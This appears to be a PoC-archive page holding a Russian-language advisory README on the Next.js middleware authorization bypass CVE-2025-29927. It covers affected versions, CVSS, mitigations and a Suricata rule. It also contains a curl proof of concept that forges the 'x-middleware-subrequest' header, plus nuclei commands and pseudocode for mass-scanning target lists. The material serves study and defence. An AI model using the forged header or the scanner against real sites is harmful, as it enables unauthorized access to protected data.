POC详情: f61c03846ddfa8ade60a8707959b181ffa35d5de

来源
关联漏洞
标题: Next.js 安全漏洞 (CVE-2025-29927)
描述:Next.js是Vercel开源的一个 React 框架。 Next.js 14.2.25之前版本和15.2.3之前版本存在安全漏洞,该漏洞源于如果授权检查发生在中间件中,可能绕过授权检查。
介绍
# CVE-2025-29927 — Next.js (middleware authorization bypass)

> **Кратко:** уязвимость в middleware Next.js, позволяющая обходить проверки авторизации путём подделки заголовка `x-middleware-subrequest`.

---

## Содержание
1. [Краткое описание](#краткое-описание)
2. [Детали уязвимости](#детали-уязвимости)
3. [CWE Weakness Enumeration](#cwe-weakness-enumeration)
4. [Влияние и дополнительные риски](#влияние-и-дополнительные-риски)
5. [Затронутые версии](#затронутые-версии)
6. [CVSS и метрики](#cvss-и-метрики)
7. [PoC — безопасное воспроизведение локально](#poc--безопасное-воспроизведение-локально)
8. [Лаборатория: быстрый запуск vulnerable demo](#лаборатория-быстрый-запуск-vulnerable-demo)
9. [Массовая проверка nuclei, Python](#массовая-проверка-nuclei-python)
8. [Mitigation / Remediation](#mitigation--remediation)
9. [Detection / SIEM / IDS правила](#detection--siem--ids-правила)
10. [Ресурсы и ссылки](#ресурсы-и-ссылки)

---

## Краткое описание
- **CVE:** `CVE-2025-29927`
- **Продукт:** Next.js (Vercel)
- **Кратко:** middleware, реализующая авторизацию, неправильно доверяет внутреннему флагу `x-middleware-subrequest`. Внешний клиент может поставить этот заголовок и обойти проверки доступа.
- **Дата публикации NVD:** 21 марта 2025 г.
- **CNA:** GitHub, Inc.

---

## Детали уязвимости
- **Описание:** Ошибка заключается в том, что middleware в Next.js полагается на внутренний признак x-middleware-subrequest при принятии решения о доступе. Поле изначально предназначалось для внутренних операций фреймворка, однако внешние запросы могут установить этот заголовок, что позволяет обойти авторизацию.
- **Root cause:** неправильная/небезопасная логика авторизации — доверие к входящему заголовку.
- **Условия эксплуатации:** веб-приложение использует middleware для авторизации; приложение использует уязвимые версии Next.js в обозначенных диапазонах.

---

## CWE Weakness Enumeration
- CWE-863: Incorrect Authorization — primary
  - Evidence: middleware доверял заголовку 'x-middleware-subrequest' и пропускал запросы без дополнительной валидации.
- CWE-285: Improper Authorization — secondary
  - Evidence: отсутствие надёжной аутентификации/авторизации для internal-only flow.
  - Rationale: подделка внутреннего признака subrequest позволяет обойти контролли доступа => соответствует указанным CWE.

---

## Влияние и дополнительные риски
- **Влияние:** обход авторизации дает доступ к приватным страницам/данным, возможность эскалации (в зависимости от приложения), компрометация пользовательских данных.
- **Дополнительный риск:** CPDoS (Cache-Poisoned DoS): уязвимость может позволить манипулировать кэшем CDN/edge (например, если внутренние subrequests помечают ресурсы как приватные/публичные), что приводит к отравлению кэша и потенциальному отказу или раскрытию данных.
- **Примеры последствий:** утечка PII, обход бизнес-логики, скомпрометированные сессии, вмешательство в маршрутинг приложения.

---

## Затронутые версии
Уязвимы следующие диапазоны версий:

- `>= 11.1.4` и `< 12.3.5`
- `>= 13.0.0` и `< 13.5.9`
- `>= 14.0.0` и `< 14.2.25`
- `>= 15.0.0` и `< 15.2.3`

**Примечание:** версия `12.3.5` и выше (соответственно `13.5.9`, `14.2.25`, `15.2.3`) содержит исправления.

---

## CVSS и метрики
- **Base Score:** `9.1 (CRITICAL)`
- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`

**Temporal:** E:P (PoC) * RL:O (official fix) * RC:C (confirmed) = 8.2 *(примерный Temporal Score)*.

---

## PoC — безопасное воспроизведение локально
1. Поднять vulnerable demo (или взять PoC-репозиторий). Пример общих шагов:

```bash
# клонируем репозиторий с vulnerable-demo
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# по умолчанию сервер будет на http://localhost:3000
```

2. Простой read-only PoC (curl):

```bash
# без заголовка — ожидаем отказ (401/302/403)
curl -si http://localhost:3000/protected | head -n 20

# с поддельным заголовком — если уязвимо, вернёт 200 + тело
curl -si -H "x-middleware-subrequest: 1" http://localhost:3000/protected | head -n 20
```

3. Анализ результатов: если запрос с заголовком успешен, а без — отказ, PoC воспроизводим.

---

## Лаборатория: быстрый запуск vulnerable demo
Пример `Dockerfile` (минимальный):

```dockerfile
FROM node:18-alpine
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
```

`docker build -t next-vuln . && docker run --rm -p 3000:3000 next-vuln`

---

## Массовая проверка nuclei, Python

### Nuclei
- **Passive template:** проверка fingerprint (`/_next/static/`, `package.json`, headers, favicon hash) — безопасный режим.
- **Active template:** отправляет GET с `x-middleware-subrequest` и сравнивает ответ. **Обязательно** использовать rate-limit и throttle.

Команда для запуска (пример):

```bash
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt

# active (контролируемо)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
```

### Python-сканер (архитектура)
- Алгоритм: для каждого хоста получить базовый ответ (без заголовка) → повторить с заголовком `x-middleware-subrequest` → сравнить статус и тело.
- Обязательные опции: `--concurrency`, `--delay`, `--dry-run`, `--respect-robots`.
- Используйте `aiohttp` / `asyncio` для высокой производительности.

Короткий псевдокод:

```py
async def probe(url):
    r1 = await session.get(url)
    r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
    if significant_difference(r1, r2):
        report_vulnerable(url)
```

---

## Mitigation / Remediation
1. **Primary:** обновить Next.js до исправлённой версии:
   - `>= 12.3.5`, `>= 13.5.9`, `>= 14.2.25`, `>= 15.2.3`.
2. **Quick-fix (edge/proxy):** удалить/очистить заголовок `x-middleware-subrequest` на границе:
   - NGINX: `proxy_set_header X-Middleware-Subrequest "";`
   - Apache: `RequestHeader unset X-Middleware-Subrequest`
3. **App changes:** убрать зависимость авторизации от входящих заголовков; опираться на JWT/session tokens/серверную валидацию.
4. **CI/CD:** добавить контроль версий зависимостей и правила обновления при advisories.

---

## Detection / SIEM / IDS правила
Примеры правил/алертов:

- **SIEM:** alert при входящих запросах с `x-middleware-subrequest`, если source.ip не в `trusted_proxies`.

- **Suricata (псевдо):**
```
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)
```

---

## Ресурсы и ссылки
- NVD / CVE-2025-29927 (NVD entry) — для версий и CVSS;
- GitHub Advisory / Vercel advisory — для патчей;
- PoC-репозитории (замените на реальные URL):
  - `https://github.com/<author>/CVE-2025-29927-POC`
  - `https://github.com/<author>/vulnerable-nextjs-demo`
- ProjectDiscovery / nuclei-templates — шаблон CVE-2025-29927.
文件快照

[4.0K] /data/pocs/f61c03846ddfa8ade60a8707959b181ffa35d5de └── [9.4K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。